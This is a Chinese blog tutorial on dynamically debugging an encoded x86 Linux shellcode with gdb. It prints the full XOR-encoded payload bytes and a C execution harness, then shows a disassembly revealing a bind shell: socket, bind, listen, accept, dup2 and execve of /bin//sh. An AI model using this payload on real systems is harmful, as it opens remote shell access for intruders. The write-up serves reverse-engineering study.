Shellcode的分析调试技巧(3)

分析一段shellcode的功能,核心的是什么呢?我觉得最核心的是这段shellcode实现的系统调用,因为一旦知道shellcode实现的系统调用,那么整段shellcode的功能便已了然。要知道shellcode实现的系统调用,关键是找到系统调用号,即int 0x80执行之前,eax寄存器中存放的数字。

上面的代码反汇编中,并没有找到int 0x80的踪影。原因在哪里呢?仔细分析这段代码,前几行代码已经给了我们答案:

 00000000  EB11              jmp short 0x13   00000002  5E                pop esi   00000003  31C9              xor ecx,ecx   00000005  B165              mov cl,0x65   00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa   0000000C  80E901            sub cl,0x1   0000000F  75F6              jnz 0x7   00000011  EB05              jmp short 0x18   00000013  E8EAFFFFFF        call dword 0x2   00000018  3BCA              cmp ecx,edx    

这是一段自修改shellcode。运行后,它调用“xor byte [esi+ecx-0x1],0xa”这条指令,将0x00000018及以后的0x65个字节组成的指令进行译码,生成我们要用到的特定功能的shellcode。

接下来,我们要想知道这段shellcode的功能,就必须要动态的调试这段shellcode。于是我们构造了下面的C调用程序,编译,并用gdb动态的调试这段shellcode。

 root@linux:~/pentest# cat shellcode.c   #include <stdio.h>        char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"              "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"              "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"              "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"              "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"              "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"              "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"              "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"              "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"              "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"              "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"              "\xba\x01\xc7\x8a";                   int main(void)   {       (*(void(*)()) shellcode)();   }   root@linux:~/pentest#       root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o shellcode shellcode.c   root@linux:~/pentest# gdb shellcode   GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2   Copyright (C) 2010 Free Software Foundation, Inc.   License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>    This is free software: you are free to change and redistribute it.   There is NO WARRANTY, to the extent permitted by law.  Type "show copying"   and "show warranty" for details.   This GDB was configured as "i686-linux-gnu".   For bug reporting instructions, please see:   <http://www.gnu.org/software/gdb/bugs/>...    Reading symbols from /root/pentest/shellcode...done.   (gdb) disass main   Dump of assembler code for function main:      0x08048394 <+0>:   push   %ebp      0x08048395 <+1>:   mov    %esp,%ebp      0x08048397 <+3>:   and    {1}xfffffff0,%esp      0x0804839a <+6>:   mov    {1}x804a040,%eax      0x0804839f <+11>:  call   *%eax      0x080483a1 <+13>:  mov    %ebp,%esp      0x080483a3 <+15>:  pop    %ebp      0x080483a4 <+16>:  ret       End of assembler dump.   (gdb) disass 0x804a040   Dump of assembler code for function shellcode:      0x0804a040 <+0>:   jmp    0x804a053 <shellcode+19>      0x0804a042 <+2>:   pop    %esi      0x0804a043 <+3>:   xor    %ecx,%ecx      0x0804a045 <+5>:   mov    {1}x65,%cl      0x0804a047 <+7>:   xorb   {1}xa,-0x1(%esi,%ecx,1)      0x0804a04c <+12>:  sub    {1}x1,%cl      0x0804a04f <+15>:  jne    0x804a047 <shellcode+7>      0x0804a051 <+17>:  jmp    0x804a058 <shellcode+24>      0x0804a053 <+19>:  call   0x804a042 <shellcode+2>      0x0804a058 <+24>:  cmp    %edx,%ecx      0x0804a05a <+26>:  cmp    %ecx,%edx      0x0804a05c <+28>:  cmp    %eax,%ebx      0x0804a05e <+30>:  pop    %edx      0x0804a05f <+31>:  pusha        0x0804a060 <+32>:  or     0x8(%eax),%esp      0x0804a063 <+35>:  sub    {1}xfffffff4,%ebx      0x0804a066 <+38>:  leave        0x0804a067 <+39>:  mov    {1}x838ac76c,%edx      0x0804a06c <+44>:  int3         0x0804a06d <+45>:  pop    %eax      0x0804a06e <+46>:  bound  %esi,-0x7c8feff8(%ecx)      0x0804a074 <+52>:  jmp    0x804a0d6   ---Type <return> to continue, or q <return> to quit---      0x0804a076 <+54>:  sbb    0x5c(%ebx),%bl      0x0804a079 <+57>:  sub    {1}xfffffff4,%ebx      0x0804a07c <+60>:  leave        0x0804a07d <+61>:  mov    {1}x588ac76c,%edx      0x0804a082 <+66>:  pop    %esp      0x0804a083 <+67>:  sub    {1}xffffffb9,%ebx      0x0804a086 <+70>:  push   %cs      0x0804a087 <+71>:  mov    {1}x588ac76c,%edx      0x0804a08c <+76>:  pop    %eax      0x0804a08d <+77>:  pop    %esp      0x0804a08e <+78>:  sub    {1}xfffffff4,%ebx      0x0804a091 <+81>:  leave        0x0804a092 <+82>:  mov    {1}x838ac76c,%edx      0x0804a097 <+87>:  leave        0x0804a098 <+88>:  cmp    %ebx,%eax      0x0804a09a <+90>:  mov    {1}x4b8ac735,%edx      0x0804a09f <+95>:  mov    {1}x4b8ac735,%edx      0x0804a0a4 <+100>: mov    {1}x588ac735,%edx      0x0804a0a9 <+105>: bound  %esp,0x62627925      0x0804a0af <+111>: and    {1}x83646368,%eax      0x0804a0b4 <+116>: jmp    0xf387fa11      0x0804a0b9 <+121>: mov    {1}x8ac701,%edx   End of assembler dump.    

设置断点,并调试这段代码:

 (gdb) disass main   Dump of assembler code for function main:      0x08048394 <+0>:   push   %ebp      0x08048395 <+1>:   mov    %esp,%ebp      0x08048397 <+3>:   and    {1}xfffffff0,%esp      0x0804839a <+6>:   mov    {1}x804a040,%eax      0x0804839f <+11>:  call   *%eax      0x080483a1 <+13>:  mov    %ebp,%esp      0x080483a3 <+15>:  pop    %ebp      0x080483a4 <+16>:  ret       End of assembler dump.   (gdb) b *main+16   Breakpoint 2 at 0x80483a4: file shellcode.c, line 20.   (gdb) r   Starting program: /root/pentest/shellcode    ^C   Program received signal SIGINT, Interrupt.   0x0804a096 in shellcode ()   (gdb) i r eip   eip            0x804a096    0x804a096 <shellcode+86>   (gdb) disass 0x804a096   Dump of assembler code for function shellcode:      0x0804a040 <+0>:   jmp    0x804a053 <shellcode+19>      0x0804a042 <+2>:   pop    %esi      0x0804a043 <+3>:   xor    %ecx,%ecx      0x0804a045 <+5>:   mov    {1}x65,%cl      0x0804a047 <+7>:   xorb   {1}xa,-0x1(%esi,%ecx,1)      0x0804a04c <+12>:  sub    {1}x1,%cl      0x0804a04f <+15>:  jne    0x804a047 <shellcode+7>      0x0804a051 <+17>:  jmp    0x804a058 <shellcode+24>      0x0804a053 <+19>:  call   0x804a042 <shellcode+2>      0x0804a058 <+24>:  xor    %eax,%eax      0x0804a05a <+26>:  xor    %ebx,%ebx      0x0804a05c <+28>:  xor    %edx,%edx      0x0804a05e <+30>:  push   %eax      0x0804a05f <+31>:  push   {1}x1      0x0804a061 <+33>:  push   {1}x2      0x0804a063 <+35>:  mov    %esp,%ecx      0x0804a065 <+37>:  inc    %bl      0x0804a067 <+39>:  mov    {1}x66,%al      0x0804a069 <+41>:  int    {1}x80      0x0804a06b <+43>:  mov    %eax,%esi      0x0804a06d <+45>:  push   %edx      0x0804a06e <+46>:  push   {1}x7a1a02bb   ---Type <return> to continue, or q <return> to quit---      0x0804a073 <+51>:  mov    %esp,%ecx      0x0804a075 <+53>:  push   {1}x10      0x0804a077 <+55>:  push   %ecx      0x0804a078 <+56>:  push   %esi      0x0804a079 <+57>:  mov    %esp,%ecx      0x0804a07b <+59>:  inc    %bl      0x0804a07d <+61>:  mov    {1}x66,%al      0x0804a07f <+63>:  int    {1}x80      0x0804a081 <+65>:  push   %edx      0x0804a082 <+66>:  push   %esi      0x0804a083 <+67>:  mov    %esp,%ecx      0x0804a085 <+69>:  mov    {1}x4,%bl      0x0804a087 <+71>:  mov    {1}x66,%al      0x0804a089 <+73>:  int    {1}x80      0x0804a08b <+75>:  push   %edx      0x0804a08c <+76>:  push   %edx      0x0804a08d <+77>:  push   %esi      0x0804a08e <+78>:  mov    %esp,%ecx      0x0804a090 <+80>:  inc    %bl      0x0804a092 <+82>:  mov    {1}x66,%al      0x0804a094 <+84>:  int    {1}x80   => 0x0804a096 <+86>:   mov    %eax,%ebx      0x0804a098 <+88>:  xor    %ecx,%ecx   ---Type <return> to continue, or q <return> to quit---      0x0804a09a <+90>:  mov    {1}x3f,%al      0x0804a09c <+92>:  int    {1}x80      0x0804a09e <+94>:  inc    %ecx      0x0804a09f <+95>:  mov    {1}x3f,%al      0x0804a0a1 <+97>:  int    {1}x80      0x0804a0a3 <+99>:  inc    %ecx      0x0804a0a4 <+100>: mov    {1}x3f,%al      0x0804a0a6 <+102>: int    {1}x80      0x0804a0a8 <+104>: push   %edx      0x0804a0a9 <+105>: push   {1}x68732f2f      0x0804a0ae <+110>: push   {1}x6e69622f      0x0804a0b3 <+115>: mov    %esp,%ebx      0x0804a0b5 <+117>: push   %edx      0x0804a0b6 <+118>: push   %ebx      0x0804a0b7 <+119>: mov    %esp,%ecx      0x0804a0b9 <+121>: mov    {1}xb,%al      0x0804a0bb <+123>: int    {1}x80      0x0804a0bd <+125>: add    %al,(%eax)   End of assembler dump.   (gdb)    

到这里,我们想要的int 0x80出现了。

系统调用号$0x66对应的是__NR_socketcall,看来是个socket函数。具体的要和功能号相关联查了下应该是socket->bind->listen->accept->dup2->execve。恩,很明显的一个bindshell!

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwypys.html